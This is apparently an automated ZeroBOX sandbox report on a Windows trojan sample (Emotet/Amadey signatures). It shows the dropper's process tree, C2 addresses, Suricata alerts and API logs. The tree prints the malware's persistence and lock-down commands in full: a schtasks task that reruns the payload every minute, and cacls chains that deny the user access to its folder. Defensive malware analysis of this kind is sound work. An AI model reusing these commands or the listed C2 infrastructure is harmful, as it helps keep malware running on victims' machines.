Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	March 5, 2023, 2:21 p.m.	March 5, 2023, 2:31 p.m.

Size	985.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`43878e01fb46c6cae4af1004e405cd9c`
SHA256	`a9c12150e143d9e5bd8639928e3de9d521babc28cd29c4ccbee97aa180f7fb43`
CRC32	`18DA1CC3`
ssdeep	`12288:DMrKy90/OzX8JyxPLvWvD8AjL+z/0svSCN8d0pnE/L6dGphe9vrhH/67+M+7k9Np:VyZIJyxDvoZ41g4Re+M+7xTVs8ZCxx`
PDB Path	wextract.pdb
Yara	Win32_Trojan_Gen_1_0904B0_Zero - Win32 Trojan Emotet CAB_file_format - CAB archive file UPX_Zero - UPX packed file IsPE32 - (no description) PE_Header_Zero - PE File Signature Malicious_Library_Zero - Malicious_Library Win32_Trojan_Emotet_RL_Gen_Zero - Win32 Trojan Emotet

starka.exe "C:\Users\test22\AppData\Local\Temp\starka.exe"
2564
- zkAW1527qw.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\zkAW1527qw.exe
  2616
  - zkAV7007rf.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\zkAV7007rf.exe
    2684
    - zkAR5462uM.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\zkAR5462uM.exe
      2740
      - knJT64Wo49.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\knJT64Wo49.exe
        2784
      - ljHS32Gh89.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\ljHS32Gh89.exe
        2836
    - mivI90Zg02.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\mivI90Zg02.exe
      3008
  - nm41Wf87oQ91.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\nm41Wf87oQ91.exe
    3052
    - ghaaer.exe "C:\Users\test22\AppData\Local\Temp\5975271bda\ghaaer.exe"
      1964
      - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\5975271bda\ghaaer.exe" /F
        2168
      - cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "ghaaer.exe" /P "test22:N"&&CACLS "ghaaer.exe" /P "test22:R" /E&&echo Y|CACLS "..\5975271bda" /P "test22:N"&&CACLS "..\5975271bda" /P "test22:R" /E&&Exit
        2260
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2472
        
        cacls.exe CACLS "ghaaer.exe" /P "test22:N"
        2512
        
        cacls.exe CACLS "ghaaer.exe" /P "test22:R" /E
        2592
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2756
        
        cacls.exe CACLS "..\5975271bda" /P "test22:N"
        2664
        
        cacls.exe CACLS "..\5975271bda" /P "test22:R" /E
        2832
      - serko4.exe "C:\Users\test22\AppData\Local\Temp\1000005051\serko4.exe"
        544
        
        vhYe8550Hs.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\vhYe8550Hs.exe
        1528
        
        sf70Px12oe63.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\sf70Px12oe63.exe
        1892
        
        tf34Qi93ch38.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\tf34Qi93ch38.exe
        2736
        
        uhGy22Kv39Nf.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\uhGy22Kv39Nf.exe
        2812
      - mohta5.exe "C:\Users\test22\AppData\Local\Temp\1000006051\mohta5.exe"
        2316
        
        ykfz69bR53.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\ykfz69bR53.exe
        2996
        
        tkfd65pj76.exe C:\Users\test22\AppData\Local\Temp\IXP004.TMP\tkfd65pj76.exe
        3048
        
        ukVu49bk57.exe C:\Users\test22\AppData\Local\Temp\IXP004.TMP\ukVu49bk57.exe
        1152
        
        xkDa05Jg16.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\xkDa05Jg16.exe
        2320
      - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
        2132
- rdhE70nh45.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\rdhE70nh45.exe
  800

Name	Response	Post-Analysis Lookup
hueref.eu	A 193.56.146.11	193.56.146.11

IP Address	Status	Action
164.124.101.2	Active	Moloch
193.233.20.22	Active	Moloch
193.233.20.24	Active	Moloch
193.233.20.26	Active	Moloch
193.56.146.11	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49181 -> 193.233.20.26:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
TCP 192.168.56.101:49181 -> 193.233.20.26:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 193.233.20.26:80 -> 192.168.56.101:49181	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 193.233.20.26:80 -> 192.168.56.101:49181	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 193.233.20.26:80 -> 192.168.56.101:49181	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.101:49189 -> 193.233.20.22:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.101:49181 -> 193.233.20.26:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 193.233.20.26:80 -> 192.168.56.101:49181	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 193.233.20.26:80 -> 192.168.56.101:49181	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.101:49188 -> 193.233.20.26:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 192.168.56.101:49188 -> 193.233.20.26:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 193.233.20.26:80 -> 192.168.56.101:49188	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 193.233.20.26:80 -> 192.168.56.101:49188	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 193.233.20.26:80 -> 192.168.56.101:49188	2015744	ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)	Misc activity

Suricata TLS

No Suricata TLS

Queries for the computername (37 events)

Time & API	Arguments	Status	Return
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (11 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent March 5, 2023, 2:21 p.m.			0	0
IsDebuggerPresent March 5, 2023, 2:21 p.m.			0	0
IsDebuggerPresent March 5, 2023, 2:22 p.m.			0	0
IsDebuggerPresent March 5, 2023, 2:22 p.m.			0	0
IsDebuggerPresent March 5, 2023, 2:22 p.m.			0	0
IsDebuggerPresent March 5, 2023, 2:22 p.m.			0	0
IsDebuggerPresent March 5, 2023, 2:22 p.m.			0	0
IsDebuggerPresent March 5, 2023, 2:22 p.m.			0	0
IsDebuggerPresent March 5, 2023, 2:22 p.m.			0	0
IsDebuggerPresent March 5, 2023, 2:22 p.m.			0	0
IsDebuggerPresent March 5, 2023, 2:22 p.m.			0	0

Command line console output was observed (50 out of 79 events)

Time & API	Arguments	Status	Return
WriteConsoleW March 5, 2023, 2:22 p.m.	buffer: SUCCESS: The scheduled task "ghaaer.exe" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW March 5, 2023, 2:22 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\5975271bda\ghaaer.exe console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW March 5, 2023, 2:22 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\5975271bda\ghaaer.exe console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:22 p.m.	buffer: r console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 51 events)

Time & API	Arguments	Status	Return
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007662d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007662d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007662d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007662d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766258 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766258 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766258 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766258 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766258 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007662d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007662d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007664d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766c58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766c58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766a98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00430f48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00430f48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00430f48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00430f48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00430f88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00430f88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00430e88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00430e88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00430e88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00430e88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00430e88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00430f48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00430f48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00431148 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004318c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004318c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00431688 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060e7f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060e7f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060e7f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060e7f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060e770 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060e770 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060e770 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060e770 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060e770 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060e770 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060e770 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060e830 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060e830 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060e9f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060f170 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060f170 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

This executable has a PDB path (1 event)

pdb_path

wextract.pdb

Tries to locate where the browsers are installed (3 events)

file	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
file	C:\Program Files\Mozilla Firefox\firefox.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx March 5, 2023, 2:21 p.m.		1	1	0

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

AVI

One or more processes crashed (42 events)

Time & API	Arguments	Status
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x6d3d14 0x6d3c36 0x6d24dd 0x6d20b6 0x6d05a0 0x6d006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x6d3e08 registers.esp: 2944536 registers.edi: 2944588 registers.eax: 0 registers.ebp: 2944600 registers.edx: 7576208 registers.ebx: 2945492 registers.esi: 45419356 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0xa238d6 0xa23797 0xa23695 0xa22d1f 0xa22525 0x6d7c87 0x6d25a5 0x6d20b6 0x6d05a0 0x6d006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 5c 38 a1 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa241de registers.esp: 2943380 registers.edi: 2943604 registers.eax: 0 registers.ebp: 2943616 registers.edx: 10565356 registers.ebx: 2945492 registers.esi: 47377348 registers.ecx: 0	1
